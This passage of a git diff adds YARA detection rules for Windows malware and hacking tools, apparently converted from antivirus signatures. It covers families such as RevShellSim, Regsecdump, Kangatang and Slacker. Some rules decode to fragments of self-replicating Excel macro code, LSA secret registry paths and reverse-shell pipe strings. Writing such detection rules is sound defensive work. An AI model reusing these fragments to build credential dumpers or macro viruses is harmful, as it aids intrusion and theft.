1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/HuntingFedora/VirTool_Win64_HuntingFedora_C.yar b/VirTool/Win64/HuntingFedora/VirTool_Win64_HuntingFedora_C.yar new file mode 100644 index 0000000000..cb08cef76a --- /dev/null +++ b/VirTool/Win64/HuntingFedora/VirTool_Win64_HuntingFedora_C.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_HuntingFedora_C{ + meta: + description = "VirTool:Win64/HuntingFedora.C,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {4c 89 ea 68 01 01 00 00 59 41 ba ?? ?? ?? ?? ff d5 50 50 4d 31 c9 4d 31 c0 48 ff c0 48 89 c2 48 ff c0 48 89 c1 41 ba } //1 + $a_03_1 = {4c 89 e2 48 89 f9 41 ba ?? ?? ?? ?? ff d5 48 81 c4 40 02 00 00 49 b8 63 ?? ?? ?? ?? ?? ?? ?? 41 50 41 50 48 89 e2 57 57 57 4d 31 c0 6a 0d } //1 + $a_03_2 = {4d 89 c1 4c 89 c1 41 ba ?? ?? ?? ?? ff d5 48 31 d2 48 ff ca 8b 0e 41 ba ?? ?? ?? ?? ff d5 bb f0 b5 a2 56 41 ba } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_D.yar b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_D.yar new file mode 100644 index 0000000000..d944dee0da --- /dev/null +++ b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_D.yar @@ -0,0 +1,15 @@ + +rule VirTool_Win64_HuntingSnakes_D{ + meta: + description = "VirTool:Win64/HuntingSnakes.D,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_03_0 = {48 8b 45 f0 41 b9 ?? ?? ?? ?? 41 b8 00 10 00 00 ba ?? ?? ?? ?? b9 ?? ?? ?? ?? ff d0 48 89 45 e8 } //1 + $a_01_1 = {48 89 45 e0 48 8b 45 e0 48 8b 40 60 48 89 45 e8 48 8b 45 e8 48 8b 40 18 48 89 45 d8 48 8b 45 d8 48 83 c0 10 48 89 45 d0 } //1 + $a_03_2 = {48 89 54 24 28 48 8b 55 10 48 89 54 24 20 41 b9 ?? ?? ?? ?? 41 b8 ?? ?? ?? ?? ba ?? ?? ?? ?? 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_03_3 = {48 8b 45 f8 ba ?? ?? ?? ?? 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_03_4 = {48 8b 45 e8 ba ?? ?? ?? ?? 48 89 c1 e8 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_M.yar b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_M.yar new file mode 100644 index 0000000000..e3f14cd518 --- /dev/null +++ b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_M.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_HuntingSnakes_M{ + meta: + description = "VirTool:Win64/HuntingSnakes.M,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {48 89 c2 48 8b 85 ?? ?? ?? ?? 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 89 85 } //1 + $a_03_1 = {8b 45 fc 48 98 ?? ?? ?? ?? ?? ?? ?? ?? 48 8b 45 28 48 01 d0 8b 00 48 63 d0 48 8b 45 30 48 01 d0 0f b6 00 88 45 fb } //1 + $a_03_2 = {48 c7 44 24 20 ?? ?? ?? ?? 4d 89 c1 49 89 c8 48 89 c1 41 ff d2 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_N.yar b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_N.yar new file mode 100644 index 0000000000..837af06219 --- /dev/null +++ b/VirTool/Win64/HuntingSnakes/VirTool_Win64_HuntingSnakes_N.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_HuntingSnakes_N{ + meta: + description = "VirTool:Win64/HuntingSnakes.N,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {64 68 61 6e 75 73 68 67 6f 77 64 61 } //1 dhanushgowda + $a_01_1 = {2e 64 6c 6c 00 63 6f 6f 6c 62 6f 79 } //1 搮汬挀潯扬祯 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/LokAgnt/VirTool_Win64_LokAgnt_B.yar b/VirTool/Win64/LokAgnt/VirTool_Win64_LokAgnt_B.yar new file mode 100644 index 0000000000..16b650392a --- /dev/null +++ b/VirTool/Win64/LokAgnt/VirTool_Win64_LokAgnt_B.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_LokAgnt_B{ + meta: + description = "VirTool:Win64/LokAgnt.B,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {c6 44 24 48 61 c6 44 24 49 6d c6 44 24 4a 73 c6 44 24 4b 69 c6 44 24 4c 2e c6 44 24 4d 64 c6 44 24 4e 6c c6 44 24 4f 6c c6 44 24 50 00 c6 44 24 78 90 c6 44 24 79 90 c6 44 24 7a 90 c6 44 24 7b b8 c6 44 24 7c 57 c6 44 24 7d 00 c6 44 24 7e 07 c6 44 24 7f 80 c6 84 24 80 00 00 00 c3 } //1 + $a_02_1 = {00 00 b8 01 00 00 00 90 09 03 00 e8 } //1 + $a_01_2 = {81 38 50 45 00 00 0f 85 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_02_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/Luidek/VirTool_Win64_Luidek_B.yar b/VirTool/Win64/Luidek/VirTool_Win64_Luidek_B.yar new file mode 100644 index 0000000000..d350a60f45 --- /dev/null +++ b/VirTool/Win64/Luidek/VirTool_Win64_Luidek_B.yar @@ -0,0 +1,14 @@ + +rule VirTool_Win64_Luidek_B{ + meta: + description = "VirTool:Win64/Luidek.B,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {6c 75 70 6f 2f 6c 75 70 6f 2d 63 6c 69 65 6e 74 2f 63 6d 64 2e 52 65 73 70 6f 6e 73 65 } //1 lupo/lupo-client/cmd.Response + $a_81_1 = {6c 75 70 6f 2f 6c 75 70 6f 2d 63 6c 69 65 6e 74 2f 63 6f 72 65 } //1 lupo/lupo-client/core + $a_01_2 = {6c 75 70 6f 62 61 63 6b 65 78 65 63 73 68 6f 77 6b 69 6c 6c 6c 6f 61 64 72 } //1 lupobackexecshowkillloadr + $a_01_3 = {6d 61 74 74 6e 2f 67 6f 2d 73 68 65 6c 6c 77 6f 72 64 73 } //1 mattn/go-shellwords + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/VirTool/Win64/Metdllsload/VirTool_Win64_Metdllsload_B.yar b/VirTool/Win64/Metdllsload/VirTool_Win64_Metdllsload_B.yar new file mode 100644 index 0000000000..23222b1964 --- /dev/null +++ b/VirTool/Win64/Metdllsload/VirTool_Win64_Metdllsload_B.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_Metdllsload_B{ + meta: + description = "VirTool:Win64/Metdllsload.B,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {48 8b 0d d1 ?? 00 00 48 8b ?? 83 e0 07 [0-10] 30 04 ?? 48 ff ?? 48 3b } //1 + $a_01_1 = {48 c7 44 24 28 00 00 00 00 89 44 24 20 45 33 c9 33 d2 48 c7 c1 ff ff ff ff 41 b8 40 00 00 00 ff } //1 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/MiniLoader/VirTool_Win64_MiniLoader_A.yar b/VirTool/Win64/MiniLoader/VirTool_Win64_MiniLoader_A.yar new file mode 100644 index 0000000000..6ad50be59c --- /dev/null +++ b/VirTool/Win64/MiniLoader/VirTool_Win64_MiniLoader_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_MiniLoader_A{ + meta: + description = "VirTool:Win64/MiniLoader.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 08 48 8b 45 30 48 8b 10 8b 45 fc 48 01 d0 44 89 ca 31 ca 88 10 48 8b 45 30 48 8b 48 20 8b 55 fc } //1 + $a_01_1 = {8b 55 fc 48 89 d0 48 c1 e0 04 48 29 d0 48 c1 e0 03 48 89 c2 48 8b 45 f0 48 01 c2 0f b6 45 20 88 42 14 8b 55 fc 48 89 d0 48 c1 e0 04 48 29 d0 48 c1 e0 03 48 89 c2 48 8b 45 f0 48 01 d0 c7 40 10 00 00 00 00 83 45 fc 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win64/Regsecdump/VirTool_Win64_Regsecdump_A.yar b/VirTool/Win64/Regsecdump/VirTool_Win64_Regsecdump_A.yar new file mode 100644 index 0000000000..ba3d32dc3d --- /dev/null +++ b/VirTool/Win64/Regsecdump/VirTool_Win64_Regsecdump_A.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win64_Regsecdump_A{ + meta: + description = "VirTool:Win64/Regsecdump.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {53 00 45 00 43 00 55 00 52 00 49 00 54 00 59 00 5c 00 4c 00 53 00 41 } //1 + $a_01_1 = {53 00 45 00 43 00 55 00 52 00 49 00 54 00 59 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 79 00 5c 00 53 00 65 00 63 00 72 00 65 00 74 00 73 00 5c 00 44 00 50 00 41 00 50 00 49 00 5f 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 56 00 61 00 6c } //1 + $a_03_2 = {8a 01 3a 04 11 ?? ?? 48 ff c1 49 ff c8 ?? ?? 48 33 c0 c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_C.yar b/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_C.yar new file mode 100644 index 0000000000..4d6f42ac51 --- /dev/null +++ b/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_C.yar @@ -0,0 +1,14 @@ + +rule VirTool_Win64_RevShellSim_C{ + meta: + description = "VirTool:Win64/RevShellSim.C,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_03_0 = {c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 ?? ?? ?? ?? ba 01 00 00 00 b9 02 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 48 8b 95 70 01 00 00 48 89 02 48 8b 85 70 01 00 00 48 8b 00 } //1 + $a_03_1 = {48 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ba 00 00 00 00 b9 00 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_03_2 = {48 8b 85 70 01 00 00 48 8b 00 ?? ?? ?? ?? 41 b8 ?? ?? ?? ?? 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_03_3 = {48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 ?? ?? ?? ?? c7 44 24 20 ?? ?? ?? ?? 41 b9 00 00 00 00 41 b8 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? 48 89 c2 b9 00 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_D.yar b/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_D.yar new file mode 100644 index 0000000000..c842c0cea2 --- /dev/null +++ b/VirTool/Win64/RevShellSim/VirTool_Win64_RevShellSim_D.yar @@ -0,0 +1,17 @@ + +rule VirTool_Win64_RevShellSim_D{ + meta: + description = "VirTool:Win64/RevShellSim.D,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_03_0 = {41 b8 10 00 00 00 48 89 c1 48 8b ?? ?? ?? ?? ?? ff d0 85 c0 } //1 + $a_03_1 = {c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 ?? ?? ?? ?? ba 01 00 00 00 b9 02 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 48 8b 95 70 01 00 00 48 89 02 48 8b 85 70 01 00 00 48 8b 00 } //1 + $a_03_2 = {48 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ba 00 00 00 00 b9 00 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_03_3 = {48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 ?? ?? ?? ?? c7 44 24 20 ?? ?? ?? ?? 41 b9 00 00 00 00 41 b8 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? 48 89 c2 b9 00 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + $a_01_4 = {46 50 5f 4e 4f 5f 48 4f 53 54 5f 43 48 45 43 4b } //1 FP_NO_HOST_CHECK + $a_01_5 = {5c 5c 2e 5c 70 69 70 65 5c } //1 \\.\pipe\ + $a_01_6 = {53 44 4c 5f 44 72 61 77 4c 69 6e 65 28 29 } //1 SDL_DrawLine() + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/VirTool/Win64/Sysnull/VirTool_Win64_Sysnull_A.yar b/VirTool/Win64/Sysnull/VirTool_Win64_Sysnull_A.yar new file mode 100644 index 0000000000..851c5e6eff --- /dev/null +++ b/VirTool/Win64/Sysnull/VirTool_Win64_Sysnull_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win64_Sysnull_A{ + meta: + description = "VirTool:Win64/Sysnull.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {41 57 41 56 41 55 41 54 56 57 49 89 cd 49 89 d6 4d 89 c7 4c 89 c9 48 8b 54 24 58 4c 8b 44 24 60 4c 8b 4c 24 68 52 48 c7 c0 08 00 00 00 49 f7 e7 5a 49 89 c4 48 29 c4 } //1 + $a_01_1 = {48 89 e7 51 4c 89 f9 f3 48 a5 59 49 89 ca 4c 89 e8 48 83 ec 20 41 ff d6 49 83 c4 20 4c 01 e4 5f 5e 41 5c 41 5d 41 5e 41 5f c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Virus/O97M/Kangatang/Virus_O97M_Kangatang_gen_A.yar b/Virus/O97M/Kangatang/Virus_O97M_Kangatang_gen_A.yar index 66bc164900..d2a440b55d 100644 --- a/Virus/O97M/Kangatang/Virus_O97M_Kangatang_gen_A.yar +++ b/Virus/O97M/Kangatang/Virus_O97M_Kangatang_gen_A.yar @@ -1,5 +1,18 @@ rule Virus_O97M_Kangatang_gen_A{ + meta: + description = "Virus:O97M/Kangatang.gen!A,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {20 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 63 72 65 65 6e 55 70 64 61 74 69 6e 67 20 3d 20 46 61 6c 73 65 } //1 Application.ScreenUpdating = False + $a_01_1 = {54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2e 53 61 76 65 43 6f 70 79 41 73 20 46 69 6c 65 6e 61 6d 65 3a 3d 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 74 61 72 74 75 70 50 61 74 68 20 26 20 22 5c 6d 79 70 65 72 73 6f 6e 6e 65 6c 2e 78 6c 73 22 } //1 ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls" + $a_01_2 = {49 66 20 41 63 74 69 76 65 57 6f 72 6b 62 6f 6f 6b 2e 53 68 65 65 74 73 28 31 29 2e 4e 61 6d 65 20 3c 3e 20 22 4b 61 6e 67 61 74 61 6e 67 22 20 54 68 65 6e } //1 If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then + $a_01_3 = {54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2e 53 68 65 65 74 73 28 22 4b 61 6e 67 61 74 61 6e 67 22 29 2e 43 6f 70 79 20 62 65 66 6f 72 65 3a 3d 41 63 74 69 76 65 57 6f 72 6b 62 6f 6f 6b 2e 53 68 65 65 74 73 28 31 29 } //1 ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1) + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} +rule Virus_O97M_Kangatang_gen_A_2{ meta: description = "Virus:O97M/Kangatang.gen!A,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 00 " diff --git a/Virus/Win16/Slacker/Virus_Win16_Slacker_gen_A.yar b/Virus/Win16/Slacker/Virus_Win16_Slacker_gen_A.yar new file mode 100644 index 0000000000..8c88114277 --- /dev/null +++ b/Virus/Win16/Slacker/Virus_Win16_Slacker_gen_A.yar @@ -0,0 +1,15 @@ + +rule Virus_Win16_Slacker_gen_A{ + meta: + description = "Virus:Win16/Slacker.gen!A,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {49 66 20 77 32 2e 4c 69 6e 65 73 28 31 2c 20 31 29 20 3c 3e 20 22 27 4f 4f 4f 22 20 54 68 65 6e } //1 If w2.Lines(1, 1) <> "'OOO" Then + $a_01_1 = {49 66 20 55 43 61 73 65 28 44 69 72 28 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 74 61 72 74 75 70 50 61 74 68 20 2b 20 22 5c 62 6f 6f 6b 31 2e 22 29 29 20 3c 3e 20 22 42 4f 4f 4b 31 22 20 54 68 65 6e } //1 If UCase(Dir(Application.StartupPath + "\book1.")) <> "BOOK1" Then + $a_01_2 = {78 6c 43 4d 2e 49 6e 73 65 72 74 4c 69 6e 65 73 20 31 2c 20 77 31 2e 4c 69 6e 65 73 28 31 2c 20 77 31 2e 43 6f 75 6e 74 4f 66 4c 69 6e 65 73 29 } //1 xlCM.InsertLines 1, w1.Lines(1, w1.CountOfLines) + $a_01_3 = {78 6c 57 42 2e 53 61 76 65 41 73 20 46 69 6c 65 6e 61 6d 65 3a 3d 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 74 61 72 74 75 70 50 61 74 68 20 2b 20 22 5c 42 6f 6f 6b 31 2e 22 2c 20 46 69 6c 65 46 6f 72 6d 61 74 3a 3d 78 6c 4e 6f 72 6d 61 6c 2c 20 41 64 64 54 6f 4d 72 75 3a 3d 46 61 6c 73 65 } //1 xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False + $a_01_4 = {6d 46 69 6c 65 4e 61 6d 65 20 3d 20 22 43 3a 5c 54 4d 50 5c 22 20 2b 20 6f 6c 64 6e 61 6d 65 } //1 mFileName = "C:\TMP\" + oldname + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Virus/Win32/Expiro/Virus_Win32_Expiro_HNW_MTB.yar b/Virus/Win32/Expiro/Virus_Win32_Expiro_HNW_MTB.yar index 10f1997e1a..72fce1784b 100644 --- a/Virus/Win32/Expiro/Virus_Win32_Expiro_HNW_MTB.yar +++ b/Virus/Win32/Expiro/Virus_Win32_Expiro_HNW_MTB.yar @@ -3,6 +3,16 @@ rule Virus_Win32_Expiro_HNW_MTB{ meta: description = "Virus:Win32/Expiro.HNW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + strings : + $a_03_0 = {2e 73 79 6d 74 61 62 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e2 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Virus_Win32_Expiro_HNW_MTB_2{ + meta: + description = "Virus:Win32/Expiro.HNW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + strings : $a_03_0 = {2e 72 73 72 63 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 40 2e 72 65 6c 6f 63 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 e2 00 00 00 00 00 00 00 00 } //5 condition: diff --git a/Virus/Win32/Sivis/Virus_Win32_Sivis_YAE_MTB.yar b/Virus/Win32/Sivis/Virus_Win32_Sivis_YAE_MTB.yar new file mode 100644 index 0000000000..d737ec515a --- /dev/null +++ b/Virus/Win32/Sivis/Virus_Win32_Sivis_YAE_MTB.yar @@ -0,0 +1,14 @@ + +rule Virus_Win32_Sivis_YAE_MTB{ + meta: + description = "Virus:Win32/Sivis.YAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 00 " + + strings : + $a_01_0 = {43 3a 2f 65 78 70 2f 00 76 69 73 75 61 00 2e 2e 00 20 5b 46 69 6c 65 5d 20 } //1 + $a_03_1 = {8b 4c b0 4c 8b 54 b0 08 57 8b 78 04 c1 c9 ?? 03 4c b8 4c c1 ca ?? 03 54 b8 08 89 4c b0 08 } //1 + $a_01_2 = {69 d2 fb b4 a9 53 29 c0 40 2b c2 89 41 44 69 c0 fb b4 a9 53 29 d2 42 2b d0 52 58 } //10 + $a_03_3 = {68 14 00 00 00 68 00 00 00 00 68 b8 56 40 00 e8 fc 0f 00 00 83 c4 ?? 68 00 00 00 00 e8 f5 0f 00 00 a3 bc 56 40 00 } //10 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*10+(#a_03_3 & 1)*10) >=22 + +} \ No newline at end of file diff --git a/Virus/Win32/Wanex/Virus_Win32_Wanex_EH_MTB.yar b/Virus/Win32/Wanex/Virus_Win32_Wanex_EH_MTB.yar new file mode 100644 index 0000000000..fa0258b81a --- /dev/null +++ b/Virus/Win32/Wanex/Virus_Win32_Wanex_EH_MTB.yar @@ -0,0 +1,16 @@ + +rule Virus_Win32_Wanex_EH_MTB{ + meta: + description = "Virus:Win32/Wanex.EH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {54 68 65 20 4c 61 73 74 20 47 6f 6f 64 62 79 65 } //1 The Last Goodbye + $a_81_1 = {4d 79 44 6f 6f 6d 20 69 6e 66 65 63 74 65 64 } //1 MyDoom infected + $a_81_2 = {50 65 77 6b 42 6f 74 } //1 PewkBot + $a_81_3 = {43 6f 6d 70 75 74 65 72 73 20 49 6e 66 65 63 74 65 64 } //1 Computers Infected + $a_81_4 = {46 69 6c 65 73 20 49 6e 66 65 63 74 65 64 } //1 Files Infected + $a_81_5 = {59 6f 75 5f 61 72 65 5f 61 5f 77 61 6e 6b 65 72 2e 65 78 65 } //1 You_are_a_wanker.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Virus/Win64/Expiro/Virus_Win64_Expiro_HNW_MTB.yar b/Virus/Win64/Expiro/Virus_Win64_Expiro_HNW_MTB.yar new file mode 100644 index 0000000000..1d5986199e --- /dev/null +++ b/Virus/Win64/Expiro/Virus_Win64_Expiro_HNW_MTB.yar @@ -0,0 +1,19 @@ + +rule Virus_Win64_Expiro_HNW_MTB{ + meta: + description = "Virus:Win64/Expiro.HNW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffffbc 02 ffffffbc 02 09 00 00 " + + strings : + $a_03_0 = {00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e2 00 00 00 } //700 + $a_03_1 = {00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 (e0|e2) 00 00 00 00 } //699 + $a_23_2 = {00 04 00 00 00 54 00 72 00 61 90 01 01 6e 00 73 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 90 00 01 } //1 + $a_3c_3 = {73 73 65 6d 62 6c 79 90 01 01 78 6d 6c 6e 73 3d 90 00 01 00 26 23 3c 2f 73 65 63 75 72 69 74 79 3e 3c 2f } //5120 + $a_01_4 = {01 73 74 49 6e 66 6f 3e 3c 2f 61 73 73 65 6d 62 6c 79 3e 90 00 01 00 1e 23 3c 2f 64 65 70 65 6e 64 65 6e 63 79 3e ?? 0a 3c 2f 61 73 73 65 6d 62 6c 79 3e 90 00 01 00 18 23 3c 2f 61 73 73 65 6d 62 6c 79 [0-10] 50 41 44 44 49 4e 47 58 58 90 00 01 00 17 23 3e 50 41 50 41 44 44 49 4e 47 58 58 ?? 41 44 44 49 4e 47 90 00 01 00 1e 23 7d 50 41 50 41 44 44 49 4e 47 58 58 ?? 41 44 44 49 4e 47 50 41 44 44 49 4e 47 } //29300 + $a_04_5 = {00 00 0d fa 06 80 5c 37 00 00 0e fa 06 80 00 00 01 00 08 00 21 00 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 56 4a 21 4d 54 42 00 00 01 40 05 82 70 00 04 00 78 28 00 00 01 00 01 00 01 00 00 01 00 1b 01 8d 70 ff 0f af f0 40 f6 c6 01 0f 94 44 } //0 + $a_fa_6 = {0f 9c 44 24 23 48 89 ce ba 00 00 5d 04 00 00 0e fa 06 80 5c 37 00 00 0f fa 06 80 00 00 01 00 08 00 21 00 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 56 4b 21 4d 54 42 00 00 01 40 05 82 70 00 04 00 78 27 00 00 01 00 01 00 01 00 00 01 00 1a 01 0f af c8 f6 c1 01 0f 94 c0 0f 94 45 1f 41 83 fa 0a 0f 9c c2 0f 9c 45 2f 08 c2 00 00 5d 04 00 00 0f fa 06 80 5c 24 } //8740 + $a_fa_7 = {80 00 00 01 00 06 00 0e 00 87 01 58 77 6f 72 6d } //0 + $a_21_8 = {54 42 00 00 01 40 05 82 42 00 04 00 40 45 00 00 04 00 02 05 00 02 00 01 00 72 60 00 36 3a 6b 9b 8d 00 00 00 00 02 00 01 00 72 60 00 1f 26 44 fc f9 00 00 00 00 02 00 01 00 72 60 00 77 69 72 e7 84 00 00 00 } //18222 + condition: + ((#a_03_0 & 1)*700+(#a_03_1 & 1)*699+(#a_23_2 & 1)*1+(#a_3c_3 & 1)*5120+(#a_01_4 & 1)*29300+(#a_04_5 & 1)*0+(#a_fa_6 & 1)*8740+(#a_fa_7 & 1)*0+(#a_21_8 & 1)*18222) >=700 + +} \ No newline at end of file diff --git a/Worm/BAT/NWorm/Worm_BAT_NWorm_NIT_MTB.yar b/Worm/BAT/NWorm/Worm_BAT_NWorm_NIT_MTB.yar new file mode 100644 index 0000000000..5f606732ad --- /dev/null +++ b/Worm/BAT/NWorm/Worm_BAT_NWorm_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Worm_BAT_NWorm_NIT_MTB{ + meta: + description = "Worm:BAT/NWorm.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {14 0a 73 1d 00 00 0a 0b 07 28 1e 00 00 0a 03 6f ?? 00 00 0a 6f ?? 00 00 0a 